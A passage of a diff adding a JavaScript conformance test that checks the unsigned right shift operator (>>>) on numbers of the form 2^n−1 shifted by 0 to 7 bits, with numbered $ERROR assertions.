+ $ERROR('#31: 1073741823 >>> 0 === 1073741823. Actual: ' + (1073741823 >>> 0));
+}
+
+
+if (2147483647 >>> 0 !== 2147483647) {
+ $ERROR('#32: 2147483647 >>> 0 === 2147483647. Actual: ' + (2147483647 >>> 0));
+}
+
+
+if (4294967295 >>> 0 !== 4294967295) {
+ $ERROR('#33: 4294967295 >>> 0 === 4294967295. Actual: ' + (4294967295 >>> 0));
+}
+
+
+if (0 >>> 1 !== 0) {
+ $ERROR('#34: 0 >>> 1 === 0. Actual: ' + (0 >>> 1));
+}
+
+
+if (1 >>> 1 !== 0) {
+ $ERROR('#35: 1 >>> 1 === 0. Actual: ' + (1 >>> 1));
+}
+
+
+if (3 >>> 1 !== 1) {
+ $ERROR('#36: 3 >>> 1 === 1. Actual: ' + (3 >>> 1));
+}
+
+
+if (7 >>> 1 !== 3) {
+ $ERROR('#37: 7 >>> 1 === 3. Actual: ' + (7 >>> 1));
+}
+
+
+if (15 >>> 1 !== 7) {
+ $ERROR('#38: 15 >>> 1 === 7. Actual: ' + (15 >>> 1));
+}
+
+
+if (31 >>> 1 !== 15) {
+ $ERROR('#39: 31 >>> 1 === 15. Actual: ' + (31 >>> 1));
+}
+
+
+if (63 >>> 1 !== 31) {
+ $ERROR('#40: 63 >>> 1 === 31. Actual: ' + (63 >>> 1));
+}
+
+
+if (127 >>> 1 !== 63) {
+ $ERROR('#41: 127 >>> 1 === 63. Actual: ' + (127 >>> 1));
+}
+
+
+if (255 >>> 1 !== 127) {
+ $ERROR('#42: 255 >>> 1 === 127. Actual: ' + (255 >>> 1));
+}
+
+
+if (511 >>> 1 !== 255) {
+ $ERROR('#43: 511 >>> 1 === 255. Actual: ' + (511 >>> 1));
+}
+
+
+if (1023 >>> 1 !== 511) {
+ $ERROR('#44: 1023 >>> 1 === 511. Actual: ' + (1023 >>> 1));
+}
+
+
+if (2047 >>> 1 !== 1023) {
+ $ERROR('#45: 2047 >>> 1 === 1023. Actual: ' + (2047 >>> 1));
+}
+
+
+if (4095 >>> 1 !== 2047) {
+ $ERROR('#46: 4095 >>> 1 === 2047. Actual: ' + (4095 >>> 1));
+}
+
+
+if (8191 >>> 1 !== 4095) {
+ $ERROR('#47: 8191 >>> 1 === 4095. Actual: ' + (8191 >>> 1));
+}
+
+
+if (16383 >>> 1 !== 8191) {
+ $ERROR('#48: 16383 >>> 1 === 8191. Actual: ' + (16383 >>> 1));
+}
+
+
+if (32767 >>> 1 !== 16383) {
+ $ERROR('#49: 32767 >>> 1 === 16383. Actual: ' + (32767 >>> 1));
+}
+
+
+if (65535 >>> 1 !== 32767) {
+ $ERROR('#50: 65535 >>> 1 === 32767. Actual: ' + (65535 >>> 1));
+}
+
+
+if (131071 >>> 1 !== 65535) {
+ $ERROR('#51: 131071 >>> 1 === 65535. Actual: ' + (131071 >>> 1));
+}
+
+
+if (262143 >>> 1 !== 131071) {
+ $ERROR('#52: 262143 >>> 1 === 131071. Actual: ' + (262143 >>> 1));
+}
+
+
+if (524287 >>> 1 !== 262143) {
+ $ERROR('#53: 524287 >>> 1 === 262143. Actual: ' + (524287 >>> 1));
+}
+
+
+if (1048575 >>> 1 !== 524287) {
+ $ERROR('#54: 1048575 >>> 1 === 524287. Actual: ' + (1048575 >>> 1));
+}
+
+
+if (2097151 >>> 1 !== 1048575) {
+ $ERROR('#55: 2097151 >>> 1 === 1048575. Actual: ' + (2097151 >>> 1));
+}
+
+
+if (4194303 >>> 1 !== 2097151) {
+ $ERROR('#56: 4194303 >>> 1 === 2097151. Actual: ' + (4194303 >>> 1));
+}
+
+
+if (8388607 >>> 1 !== 4194303) {
+ $ERROR('#57: 8388607 >>> 1 === 4194303. Actual: ' + (8388607 >>> 1));
+}
+
+
+if (16777215 >>> 1 !== 8388607) {
+ $ERROR('#58: 16777215 >>> 1 === 8388607. Actual: ' + (16777215 >>> 1));
+}
+
+
+if (33554431 >>> 1 !== 16777215) {
+ $ERROR('#59: 33554431 >>> 1 === 16777215. Actual: ' + (33554431 >>> 1));
+}
+
+
+if (67108863 >>> 1 !== 33554431) {
+ $ERROR('#60: 67108863 >>> 1 === 33554431. Actual: ' + (67108863 >>> 1));
+}
+
+
+if (134217727 >>> 1 !== 67108863) {
+ $ERROR('#61: 134217727 >>> 1 === 67108863. Actual: ' + (134217727 >>> 1));
+}
+
+
+if (268435455 >>> 1 !== 134217727) {
+ $ERROR('#62: 268435455 >>> 1 === 134217727. Actual: ' + (268435455 >>> 1));
+}
+
+
+if (536870911 >>> 1 !== 268435455) {
+ $ERROR('#63: 536870911 >>> 1 === 268435455. Actual: ' + (536870911 >>> 1));
+}
+
+
+if (1073741823 >>> 1 !== 536870911) {
+ $ERROR('#64: 1073741823 >>> 1 === 536870911. Actual: ' + (1073741823 >>> 1));
+}
+
+
+if (2147483647 >>> 1 !== 1073741823) {
+ $ERROR('#65: 2147483647 >>> 1 === 1073741823. Actual: ' + (2147483647 >>> 1));
+}
+
+
+if (4294967295 >>> 1 !== 2147483647) {
+ $ERROR('#66: 4294967295 >>> 1 === 2147483647. Actual: ' + (4294967295 >>> 1));
+}
+
+
+if (0 >>> 2 !== 0) {
+ $ERROR('#67: 0 >>> 2 === 0. Actual: ' + (0 >>> 2));
+}
+
+
+if (1 >>> 2 !== 0) {
+ $ERROR('#68: 1 >>> 2 === 0. Actual: ' + (1 >>> 2));
+}
+
+
+if (3 >>> 2 !== 0) {
+ $ERROR('#69: 3 >>> 2 === 0. Actual: ' + (3 >>> 2));
+}
+
+
+if (7 >>> 2 !== 1) {
+ $ERROR('#70: 7 >>> 2 === 1. Actual: ' + (7 >>> 2));
+}
+
+
+if (15 >>> 2 !== 3) {
+ $ERROR('#71: 15 >>> 2 === 3. Actual: ' + (15 >>> 2));
+}
+
+
+if (31 >>> 2 !== 7) {
+ $ERROR('#72: 31 >>> 2 === 7. Actual: ' + (31 >>> 2));
+}
+
+
+if (63 >>> 2 !== 15) {
+ $ERROR('#73: 63 >>> 2 === 15. Actual: ' + (63 >>> 2));
+}
+
+
+if (127 >>> 2 !== 31) {
+ $ERROR('#74: 127 >>> 2 === 31. Actual: ' + (127 >>> 2));
+}
+
+
+if (255 >>> 2 !== 63) {
+ $ERROR('#75: 255 >>> 2 === 63. Actual: ' + (255 >>> 2));
+}
+
+
+if (511 >>> 2 !== 127) {
+ $ERROR('#76: 511 >>> 2 === 127. Actual: ' + (511 >>> 2));
+}
+
+
+if (1023 >>> 2 !== 255) {
+ $ERROR('#77: 1023 >>> 2 === 255. Actual: ' + (1023 >>> 2));
+}
+
+
+if (2047 >>> 2 !== 511) {
+ $ERROR('#78: 2047 >>> 2 === 511. Actual: ' + (2047 >>> 2));
+}
+
+
+if (4095 >>> 2 !== 1023) {
+ $ERROR('#79: 4095 >>> 2 === 1023. Actual: ' + (4095 >>> 2));
+}
+
+
+if (8191 >>> 2 !== 2047) {
+ $ERROR('#80: 8191 >>> 2 === 2047. Actual: ' + (8191 >>> 2));
+}
+
+
+if (16383 >>> 2 !== 4095) {
+ $ERROR('#81: 16383 >>> 2 === 4095. Actual: ' + (16383 >>> 2));
+}
+
+
+if (32767 >>> 2 !== 8191) {
+ $ERROR('#82: 32767 >>> 2 === 8191. Actual: ' + (32767 >>> 2));
+}
+
+
+if (65535 >>> 2 !== 16383) {
+ $ERROR('#83: 65535 >>> 2 === 16383. Actual: ' + (65535 >>> 2));
+}
+
+
+if (131071 >>> 2 !== 32767) {
+ $ERROR('#84: 131071 >>> 2 === 32767. Actual: ' + (131071 >>> 2));
+}
+
+
+if (262143 >>> 2 !== 65535) {
+ $ERROR('#85: 262143 >>> 2 === 65535. Actual: ' + (262143 >>> 2));
+}
+
+
+if (524287 >>> 2 !== 131071) {
+ $ERROR('#86: 524287 >>> 2 === 131071. Actual: ' + (524287 >>> 2));
+}
+
+
+if (1048575 >>> 2 !== 262143) {
+ $ERROR('#87: 1048575 >>> 2 === 262143. Actual: ' + (1048575 >>> 2));
+}
+
+
+if (2097151 >>> 2 !== 524287) {
+ $ERROR('#88: 2097151 >>> 2 === 524287. Actual: ' + (2097151 >>> 2));
+}
+
+
+if (4194303 >>> 2 !== 1048575) {
+ $ERROR('#89: 4194303 >>> 2 === 1048575. Actual: ' + (4194303 >>> 2));
+}
+
+
+if (8388607 >>> 2 !== 2097151) {
+ $ERROR('#90: 8388607 >>> 2 === 2097151. Actual: ' + (8388607 >>> 2));
+}
+
+
+if (16777215 >>> 2 !== 4194303) {
+ $ERROR('#91: 16777215 >>> 2 === 4194303. Actual: ' + (16777215 >>> 2));
+}
+
+
+if (33554431 >>> 2 !== 8388607) {
+ $ERROR('#92: 33554431 >>> 2 === 8388607. Actual: ' + (33554431 >>> 2));
+}
+
+
+if (67108863 >>> 2 !== 16777215) {
+ $ERROR('#93: 67108863 >>> 2 === 16777215. Actual: ' + (67108863 >>> 2));
+}
+
+
+if (134217727 >>> 2 !== 33554431) {
+ $ERROR('#94: 134217727 >>> 2 === 33554431. Actual: ' + (134217727 >>> 2));
+}
+
+
+if (268435455 >>> 2 !== 67108863) {
+ $ERROR('#95: 268435455 >>> 2 === 67108863. Actual: ' + (268435455 >>> 2));
+}
+
+
+if (536870911 >>> 2 !== 134217727) {
+ $ERROR('#96: 536870911 >>> 2 === 134217727. Actual: ' + (536870911 >>> 2));
+}
+
+
+if (1073741823 >>> 2 !== 268435455) {
+ $ERROR('#97: 1073741823 >>> 2 === 268435455. Actual: ' + (1073741823 >>> 2));
+}
+
+
+if (2147483647 >>> 2 !== 536870911) {
+ $ERROR('#98: 2147483647 >>> 2 === 536870911. Actual: ' + (2147483647 >>> 2));
+}
+
+
+if (4294967295 >>> 2 !== 1073741823) {
+ $ERROR('#99: 4294967295 >>> 2 === 1073741823. Actual: ' + (4294967295 >>> 2));
+}
+
+
+if (0 >>> 3 !== 0) {
+ $ERROR('#100: 0 >>> 3 === 0. Actual: ' + (0 >>> 3));
+}
+
+
+if (1 >>> 3 !== 0) {
+ $ERROR('#101: 1 >>> 3 === 0. Actual: ' + (1 >>> 3));
+}
+
+
+if (3 >>> 3 !== 0) {
+ $ERROR('#102: 3 >>> 3 === 0. Actual: ' + (3 >>> 3));
+}
+
+
+if (7 >>> 3 !== 0) {
+ $ERROR('#103: 7 >>> 3 === 0. Actual: ' + (7 >>> 3));
+}
+
+
+if (15 >>> 3 !== 1) {
+ $ERROR('#104: 15 >>> 3 === 1. Actual: ' + (15 >>> 3));
+}
+
+
+if (31 >>> 3 !== 3) {
+ $ERROR('#105: 31 >>> 3 === 3. Actual: ' + (31 >>> 3));
+}
+
+
+if (63 >>> 3 !== 7) {
+ $ERROR('#106: 63 >>> 3 === 7. Actual: ' + (63 >>> 3));
+}
+
+
+if (127 >>> 3 !== 15) {
+ $ERROR('#107: 127 >>> 3 === 15. Actual: ' + (127 >>> 3));
+}
+
+
+if (255 >>> 3 !== 31) {
+ $ERROR('#108: 255 >>> 3 === 31. Actual: ' + (255 >>> 3));
+}
+
+
+if (511 >>> 3 !== 63) {
+ $ERROR('#109: 511 >>> 3 === 63. Actual: ' + (511 >>> 3));
+}
+
+
+if (1023 >>> 3 !== 127) {
+ $ERROR('#110: 1023 >>> 3 === 127. Actual: ' + (1023 >>> 3));
+}
+
+
+if (2047 >>> 3 !== 255) {
+ $ERROR('#111: 2047 >>> 3 === 255. Actual: ' + (2047 >>> 3));
+}
+
+
+if (4095 >>> 3 !== 511) {
+ $ERROR('#112: 4095 >>> 3 === 511. Actual: ' + (4095 >>> 3));
+}
+
+
+if (8191 >>> 3 !== 1023) {
+ $ERROR('#113: 8191 >>> 3 === 1023. Actual: ' + (8191 >>> 3));
+}
+
+
+if (16383 >>> 3 !== 2047) {
+ $ERROR('#114: 16383 >>> 3 === 2047. Actual: ' + (16383 >>> 3));
+}
+
+
+if (32767 >>> 3 !== 4095) {
+ $ERROR('#115: 32767 >>> 3 === 4095. Actual: ' + (32767 >>> 3));
+}
+
+
+if (65535 >>> 3 !== 8191) {
+ $ERROR('#116: 65535 >>> 3 === 8191. Actual: ' + (65535 >>> 3));
+}
+
+
+if (131071 >>> 3 !== 16383) {
+ $ERROR('#117: 131071 >>> 3 === 16383. Actual: ' + (131071 >>> 3));
+}
+
+
+if (262143 >>> 3 !== 32767) {
+ $ERROR('#118: 262143 >>> 3 === 32767. Actual: ' + (262143 >>> 3));
+}
+
+
+if (524287 >>> 3 !== 65535) {
+ $ERROR('#119: 524287 >>> 3 === 65535. Actual: ' + (524287 >>> 3));
+}
+
+
+if (1048575 >>> 3 !== 131071) {
+ $ERROR('#120: 1048575 >>> 3 === 131071. Actual: ' + (1048575 >>> 3));
+}
+
+
+if (2097151 >>> 3 !== 262143) {
+ $ERROR('#121: 2097151 >>> 3 === 262143. Actual: ' + (2097151 >>> 3));
+}
+
+
+if (4194303 >>> 3 !== 524287) {
+ $ERROR('#122: 4194303 >>> 3 === 524287. Actual: ' + (4194303 >>> 3));
+}
+
+
+if (8388607 >>> 3 !== 1048575) {
+ $ERROR('#123: 8388607 >>> 3 === 1048575. Actual: ' + (8388607 >>> 3));
+}
+
+
+if (16777215 >>> 3 !== 2097151) {
+ $ERROR('#124: 16777215 >>> 3 === 2097151. Actual: ' + (16777215 >>> 3));
+}
+
+
+if (33554431 >>> 3 !== 4194303) {
+ $ERROR('#125: 33554431 >>> 3 === 4194303. Actual: ' + (33554431 >>> 3));
+}
+
+
+if (67108863 >>> 3 !== 8388607) {
+ $ERROR('#126: 67108863 >>> 3 === 8388607. Actual: ' + (67108863 >>> 3));
+}
+
+
+if (134217727 >>> 3 !== 16777215) {
+ $ERROR('#127: 134217727 >>> 3 === 16777215. Actual: ' + (134217727 >>> 3));
+}
+
+
+if (268435455 >>> 3 !== 33554431) {
+ $ERROR('#128: 268435455 >>> 3 === 33554431. Actual: ' + (268435455 >>> 3));
+}
+
+
+if (536870911 >>> 3 !== 67108863) {
+ $ERROR('#129: 536870911 >>> 3 === 67108863. Actual: ' + (536870911 >>> 3));
+}
+
+
+if (1073741823 >>> 3 !== 134217727) {
+ $ERROR('#130: 1073741823 >>> 3 === 134217727. Actual: ' + (1073741823 >>> 3));
+}
+
+
+if (2147483647 >>> 3 !== 268435455) {
+ $ERROR('#131: 2147483647 >>> 3 === 268435455. Actual: ' + (2147483647 >>> 3));
+}
+
+
+if (4294967295 >>> 3 !== 536870911) {
+ $ERROR('#132: 4294967295 >>> 3 === 536870911. Actual: ' + (4294967295 >>> 3));
+}
+
+
+if (0 >>> 4 !== 0) {
+ $ERROR('#133: 0 >>> 4 === 0. Actual: ' + (0 >>> 4));
+}
+
+
+if (1 >>> 4 !== 0) {
+ $ERROR('#134: 1 >>> 4 === 0. Actual: ' + (1 >>> 4));
+}
+
+
+if (3 >>> 4 !== 0) {
+ $ERROR('#135: 3 >>> 4 === 0. Actual: ' + (3 >>> 4));
+}
+
+
+if (7 >>> 4 !== 0) {
+ $ERROR('#136: 7 >>> 4 === 0. Actual: ' + (7 >>> 4));
+}
+
+
+if (15 >>> 4 !== 0) {
+ $ERROR('#137: 15 >>> 4 === 0. Actual: ' + (15 >>> 4));
+}
+
+
+if (31 >>> 4 !== 1) {
+ $ERROR('#138: 31 >>> 4 === 1. Actual: ' + (31 >>> 4));
+}
+
+
+if (63 >>> 4 !== 3) {
+ $ERROR('#139: 63 >>> 4 === 3. Actual: ' + (63 >>> 4));
+}
+
+
+if (127 >>> 4 !== 7) {
+ $ERROR('#140: 127 >>> 4 === 7. Actual: ' + (127 >>> 4));
+}
+
+
+if (255 >>> 4 !== 15) {
+ $ERROR('#141: 255 >>> 4 === 15. Actual: ' + (255 >>> 4));
+}
+
+
+if (511 >>> 4 !== 31) {
+ $ERROR('#142: 511 >>> 4 === 31. Actual: ' + (511 >>> 4));
+}
+
+
+if (1023 >>> 4 !== 63) {
+ $ERROR('#143: 1023 >>> 4 === 63. Actual: ' + (1023 >>> 4));
+}
+
+
+if (2047 >>> 4 !== 127) {
+ $ERROR('#144: 2047 >>> 4 === 127. Actual: ' + (2047 >>> 4));
+}
+
+
+if (4095 >>> 4 !== 255) {
+ $ERROR('#145: 4095 >>> 4 === 255. Actual: ' + (4095 >>> 4));
+}
+
+
+if (8191 >>> 4 !== 511) {
+ $ERROR('#146: 8191 >>> 4 === 511. Actual: ' + (8191 >>> 4));
+}
+
+
+if (16383 >>> 4 !== 1023) {
+ $ERROR('#147: 16383 >>> 4 === 1023. Actual: ' + (16383 >>> 4));
+}
+
+
+if (32767 >>> 4 !== 2047) {
+ $ERROR('#148: 32767 >>> 4 === 2047. Actual: ' + (32767 >>> 4));
+}
+
+
+if (65535 >>> 4 !== 4095) {
+ $ERROR('#149: 65535 >>> 4 === 4095. Actual: ' + (65535 >>> 4));
+}
+
+
+if (131071 >>> 4 !== 8191) {
+ $ERROR('#150: 131071 >>> 4 === 8191. Actual: ' + (131071 >>> 4));
+}
+
+
+if (262143 >>> 4 !== 16383) {
+ $ERROR('#151: 262143 >>> 4 === 16383. Actual: ' + (262143 >>> 4));
+}
+
+
+if (524287 >>> 4 !== 32767) {
+ $ERROR('#152: 524287 >>> 4 === 32767. Actual: ' + (524287 >>> 4));
+}
+
+
+if (1048575 >>> 4 !== 65535) {
+ $ERROR('#153: 1048575 >>> 4 === 65535. Actual: ' + (1048575 >>> 4));
+}
+
+
+if (2097151 >>> 4 !== 131071) {
+ $ERROR('#154: 2097151 >>> 4 === 131071. Actual: ' + (2097151 >>> 4));
+}
+
+
+if (4194303 >>> 4 !== 262143) {
+ $ERROR('#155: 4194303 >>> 4 === 262143. Actual: ' + (4194303 >>> 4));
+}
+
+
+if (8388607 >>> 4 !== 524287) {
+ $ERROR('#156: 8388607 >>> 4 === 524287. Actual: ' + (8388607 >>> 4));
+}
+
+
+if (16777215 >>> 4 !== 1048575) {
+ $ERROR('#157: 16777215 >>> 4 === 1048575. Actual: ' + (16777215 >>> 4));
+}
+
+
+if (33554431 >>> 4 !== 2097151) {
+ $ERROR('#158: 33554431 >>> 4 === 2097151. Actual: ' + (33554431 >>> 4));
+}
+
+
+if (67108863 >>> 4 !== 4194303) {
+ $ERROR('#159: 67108863 >>> 4 === 4194303. Actual: ' + (67108863 >>> 4));
+}
+
+
+if (134217727 >>> 4 !== 8388607) {
+ $ERROR('#160: 134217727 >>> 4 === 8388607. Actual: ' + (134217727 >>> 4));
+}
+
+
+if (268435455 >>> 4 !== 16777215) {
+ $ERROR('#161: 268435455 >>> 4 === 16777215. Actual: ' + (268435455 >>> 4));
+}
+
+
+if (536870911 >>> 4 !== 33554431) {
+ $ERROR('#162: 536870911 >>> 4 === 33554431. Actual: ' + (536870911 >>> 4));
+}
+
+
+if (1073741823 >>> 4 !== 67108863) {
+ $ERROR('#163: 1073741823 >>> 4 === 67108863. Actual: ' + (1073741823 >>> 4));
+}
+
+
+if (2147483647 >>> 4 !== 134217727) {
+ $ERROR('#164: 2147483647 >>> 4 === 134217727. Actual: ' + (2147483647 >>> 4));
+}
+
+
+if (4294967295 >>> 4 !== 268435455) {
+ $ERROR('#165: 4294967295 >>> 4 === 268435455. Actual: ' + (4294967295 >>> 4));
+}
+
+
+if (0 >>> 5 !== 0) {
+ $ERROR('#166: 0 >>> 5 === 0. Actual: ' + (0 >>> 5));
+}
+
+
+if (1 >>> 5 !== 0) {
+ $ERROR('#167: 1 >>> 5 === 0. Actual: ' + (1 >>> 5));
+}
+
+
+if (3 >>> 5 !== 0) {
+ $ERROR('#168: 3 >>> 5 === 0. Actual: ' + (3 >>> 5));
+}
+
+
+if (7 >>> 5 !== 0) {
+ $ERROR('#169: 7 >>> 5 === 0. Actual: ' + (7 >>> 5));
+}
+
+
+if (15 >>> 5 !== 0) {
+ $ERROR('#170: 15 >>> 5 === 0. Actual: ' + (15 >>> 5));
+}
+
+
+if (31 >>> 5 !== 0) {
+ $ERROR('#171: 31 >>> 5 === 0. Actual: ' + (31 >>> 5));
+}
+
+
+if (63 >>> 5 !== 1) {
+ $ERROR('#172: 63 >>> 5 === 1. Actual: ' + (63 >>> 5));
+}
+
+
+if (127 >>> 5 !== 3) {
+ $ERROR('#173: 127 >>> 5 === 3. Actual: ' + (127 >>> 5));
+}
+
+
+if (255 >>> 5 !== 7) {
+ $ERROR('#174: 255 >>> 5 === 7. Actual: ' + (255 >>> 5));
+}
+
+
+if (511 >>> 5 !== 15) {
+ $ERROR('#175: 511 >>> 5 === 15. Actual: ' + (511 >>> 5));
+}
+
+
+if (1023 >>> 5 !== 31) {
+ $ERROR('#176: 1023 >>> 5 === 31. Actual: ' + (1023 >>> 5));
+}
+
+
+if (2047 >>> 5 !== 63) {
+ $ERROR('#177: 2047 >>> 5 === 63. Actual: ' + (2047 >>> 5));
+}
+
+
+if (4095 >>> 5 !== 127) {
+ $ERROR('#178: 4095 >>> 5 === 127. Actual: ' + (4095 >>> 5));
+}
+
+
+if (8191 >>> 5 !== 255) {
+ $ERROR('#179: 8191 >>> 5 === 255. Actual: ' + (8191 >>> 5));
+}
+
+
+if (16383 >>> 5 !== 511) {
+ $ERROR('#180: 16383 >>> 5 === 511. Actual: ' + (16383 >>> 5));
+}
+
+
+if (32767 >>> 5 !== 1023) {
+ $ERROR('#181: 32767 >>> 5 === 1023. Actual: ' + (32767 >>> 5));
+}
+
+
+if (65535 >>> 5 !== 2047) {
+ $ERROR('#182: 65535 >>> 5 === 2047. Actual: ' + (65535 >>> 5));
+}
+
+
+if (131071 >>> 5 !== 4095) {
+ $ERROR('#183: 131071 >>> 5 === 4095. Actual: ' + (131071 >>> 5));
+}
+
+
+if (262143 >>> 5 !== 8191) {
+ $ERROR('#184: 262143 >>> 5 === 8191. Actual: ' + (262143 >>> 5));
+}
+
+
+if (524287 >>> 5 !== 16383) {
+ $ERROR('#185: 524287 >>> 5 === 16383. Actual: ' + (524287 >>> 5));
+}
+
+
+if (1048575 >>> 5 !== 32767) {
+ $ERROR('#186: 1048575 >>> 5 === 32767. Actual: ' + (1048575 >>> 5));
+}
+
+
+if (2097151 >>> 5 !== 65535) {
+ $ERROR('#187: 2097151 >>> 5 === 65535. Actual: ' + (2097151 >>> 5));
+}
+
+
+if (4194303 >>> 5 !== 131071) {
+ $ERROR('#188: 4194303 >>> 5 === 131071. Actual: ' + (4194303 >>> 5));
+}
+
+
+if (8388607 >>> 5 !== 262143) {
+ $ERROR('#189: 8388607 >>> 5 === 262143. Actual: ' + (8388607 >>> 5));
+}
+
+
+if (16777215 >>> 5 !== 524287) {
+ $ERROR('#190: 16777215 >>> 5 === 524287. Actual: ' + (16777215 >>> 5));
+}
+
+
+if (33554431 >>> 5 !== 1048575) {
+ $ERROR('#191: 33554431 >>> 5 === 1048575. Actual: ' + (33554431 >>> 5));
+}
+
+
+if (67108863 >>> 5 !== 2097151) {
+ $ERROR('#192: 67108863 >>> 5 === 2097151. Actual: ' + (67108863 >>> 5));
+}
+
+
+if (134217727 >>> 5 !== 4194303) {
+ $ERROR('#193: 134217727 >>> 5 === 4194303. Actual: ' + (134217727 >>> 5));
+}
+
+
+if (268435455 >>> 5 !== 8388607) {
+ $ERROR('#194: 268435455 >>> 5 === 8388607. Actual: ' + (268435455 >>> 5));
+}
+
+
+if (536870911 >>> 5 !== 16777215) {
+ $ERROR('#195: 536870911 >>> 5 === 16777215. Actual: ' + (536870911 >>> 5));
+}
+
+
+if (1073741823 >>> 5 !== 33554431) {
+ $ERROR('#196: 1073741823 >>> 5 === 33554431. Actual: ' + (1073741823 >>> 5));
+}
+
+
+if (2147483647 >>> 5 !== 67108863) {
+ $ERROR('#197: 2147483647 >>> 5 === 67108863. Actual: ' + (2147483647 >>> 5));
+}
+
+
+if (4294967295 >>> 5 !== 134217727) {
+ $ERROR('#198: 4294967295 >>> 5 === 134217727. Actual: ' + (4294967295 >>> 5));
+}
+
+
+if (0 >>> 6 !== 0) {
+ $ERROR('#199: 0 >>> 6 === 0. Actual: ' + (0 >>> 6));
+}
+
+
+if (1 >>> 6 !== 0) {
+ $ERROR('#200: 1 >>> 6 === 0. Actual: ' + (1 >>> 6));
+}
+
+
+if (3 >>> 6 !== 0) {
+ $ERROR('#201: 3 >>> 6 === 0. Actual: ' + (3 >>> 6));
+}
+
+
+if (7 >>> 6 !== 0) {
+ $ERROR('#202: 7 >>> 6 === 0. Actual: ' + (7 >>> 6));
+}
+
+
+if (15 >>> 6 !== 0) {
+ $ERROR('#203: 15 >>> 6 === 0. Actual: ' + (15 >>> 6));
+}
+
+
+if (31 >>> 6 !== 0) {
+ $ERROR('#204: 31 >>> 6 === 0. Actual: ' + (31 >>> 6));
+}
+
+
+if (63 >>> 6 !== 0) {
+ $ERROR('#205: 63 >>> 6 === 0. Actual: ' + (63 >>> 6));
+}
+
+
+if (127 >>> 6 !== 1) {
+ $ERROR('#206: 127 >>> 6 === 1. Actual: ' + (127 >>> 6));
+}
+
+
+if (255 >>> 6 !== 3) {
+ $ERROR('#207: 255 >>> 6 === 3. Actual: ' + (255 >>> 6));
+}
+
+
+if (511 >>> 6 !== 7) {
+ $ERROR('#208: 511 >>> 6 === 7. Actual: ' + (511 >>> 6));
+}
+
+
+if (1023 >>> 6 !== 15) {
+ $ERROR('#209: 1023 >>> 6 === 15. Actual: ' + (1023 >>> 6));
+}
+
+
+if (2047 >>> 6 !== 31) {
+ $ERROR('#210: 2047 >>> 6 === 31. Actual: ' + (2047 >>> 6));
+}
+
+
+if (4095 >>> 6 !== 63) {
+ $ERROR('#211: 4095 >>> 6 === 63. Actual: ' + (4095 >>> 6));
+}
+
+
+if (8191 >>> 6 !== 127) {
+ $ERROR('#212: 8191 >>> 6 === 127. Actual: ' + (8191 >>> 6));
+}
+
+
+if (16383 >>> 6 !== 255) {
+ $ERROR('#213: 16383 >>> 6 === 255. Actual: ' + (16383 >>> 6));
+}
+
+
+if (32767 >>> 6 !== 511) {
+ $ERROR('#214: 32767 >>> 6 === 511. Actual: ' + (32767 >>> 6));
+}
+
+
+if (65535 >>> 6 !== 1023) {
+ $ERROR('#215: 65535 >>> 6 === 1023. Actual: ' + (65535 >>> 6));
+}
+
+
+if (131071 >>> 6 !== 2047) {
+ $ERROR('#216: 131071 >>> 6 === 2047. Actual: ' + (131071 >>> 6));
+}
+
+
+if (262143 >>> 6 !== 4095) {
+ $ERROR('#217: 262143 >>> 6 === 4095. Actual: ' + (262143 >>> 6));
+}
+
+
+if (524287 >>> 6 !== 8191) {
+ $ERROR('#218: 524287 >>> 6 === 8191. Actual: ' + (524287 >>> 6));
+}
+
+
+if (1048575 >>> 6 !== 16383) {
+ $ERROR('#219: 1048575 >>> 6 === 16383. Actual: ' + (1048575 >>> 6));
+}
+
+
+if (2097151 >>> 6 !== 32767) {
+ $ERROR('#220: 2097151 >>> 6 === 32767. Actual: ' + (2097151 >>> 6));
+}
+
+
+if (4194303 >>> 6 !== 65535) {
+ $ERROR('#221: 4194303 >>> 6 === 65535. Actual: ' + (4194303 >>> 6));
+}
+
+
+if (8388607 >>> 6 !== 131071) {
+ $ERROR('#222: 8388607 >>> 6 === 131071. Actual: ' + (8388607 >>> 6));
+}
+
+
+if (16777215 >>> 6 !== 262143) {
+ $ERROR('#223: 16777215 >>> 6 === 262143. Actual: ' + (16777215 >>> 6));
+}
+
+
+if (33554431 >>> 6 !== 524287) {
+ $ERROR('#224: 33554431 >>> 6 === 524287. Actual: ' + (33554431 >>> 6));
+}
+
+
+if (67108863 >>> 6 !== 1048575) {
+ $ERROR('#225: 67108863 >>> 6 === 1048575. Actual: ' + (67108863 >>> 6));
+}
+
+
+if (134217727 >>> 6 !== 2097151) {
+ $ERROR('#226: 134217727 >>> 6 === 2097151. Actual: ' + (134217727 >>> 6));
+}
+
+
+if (268435455 >>> 6 !== 4194303) {
+ $ERROR('#227: 268435455 >>> 6 === 4194303. Actual: ' + (268435455 >>> 6));
+}
+
+
+if (536870911 >>> 6 !== 8388607) {
+ $ERROR('#228: 536870911 >>> 6 === 8388607. Actual: ' + (536870911 >>> 6));
+}
+
+
+if (1073741823 >>> 6 !== 16777215) {
+ $ERROR('#229: 1073741823 >>> 6 === 16777215. Actual: ' + (1073741823 >>> 6));
+}
+
+
+if (2147483647 >>> 6 !== 33554431) {
+ $ERROR('#230: 2147483647 >>> 6 === 33554431. Actual: ' + (2147483647 >>> 6));
+}
+
+
+if (4294967295 >>> 6 !== 67108863) {
+ $ERROR('#231: 4294967295 >>> 6 === 67108863. Actual: ' + (4294967295 >>> 6));
+}
+
+
+if (0 >>> 7 !== 0) {
+ $ERROR('#232: 0 >>> 7 === 0. Actual: ' + (0 >>> 7));
+}
+
+
+if (1 >>> 7 !== 0) {
+ $ERROR('#233: 1 >>> 7 === 0. Actual: ' + (1 >>> 7));
+}
+
+
+if (3 >>> 7 !== 0) {
+ $ERROR('#234: 3 >>> 7 === 0. Actual: ' + (3 >>> 7));
+}
+
+
+if (7 >>> 7 !== 0) {
+ $ERROR('#235: 7 >>> 7 === 0. Actual: ' + (7 >>> 7));
+}
+
+
+if (15 >>> 7 !== 0) {
+ $ERROR('#236: 15 >>> 7 === 0. Actual: ' + (15 >>> 7));
+}
+
+
+if (31 >>> 7 !== 0) {
+ $ERROR('#237: 31 >>> 7 === 0. Actual: ' + (31 >>> 7));
+}
+
+
+if (63 >>> 7 !== 0) {
+ $ERROR('#238: 63 >>> 7 === 0. Actual: ' + (63 >>> 7));
+}
+
+
+if (127 >>> 7 !== 0) {
+ $ERROR('#239: 127 >>> 7 === 0. Actual: ' + (127 >>> 7));
+}
+
+
+if (255 >>> 7 !== 1) {
+ $ERROR('#240: 255 >>> 7 === 1. Actual: ' + (255 >>> 7));
+}
+
+
+if (511 >>> 7 !== 3) {
+ $ERROR('#241: 511 >>> 7 === 3. Actual: ' + (511 >>> 7));
+}
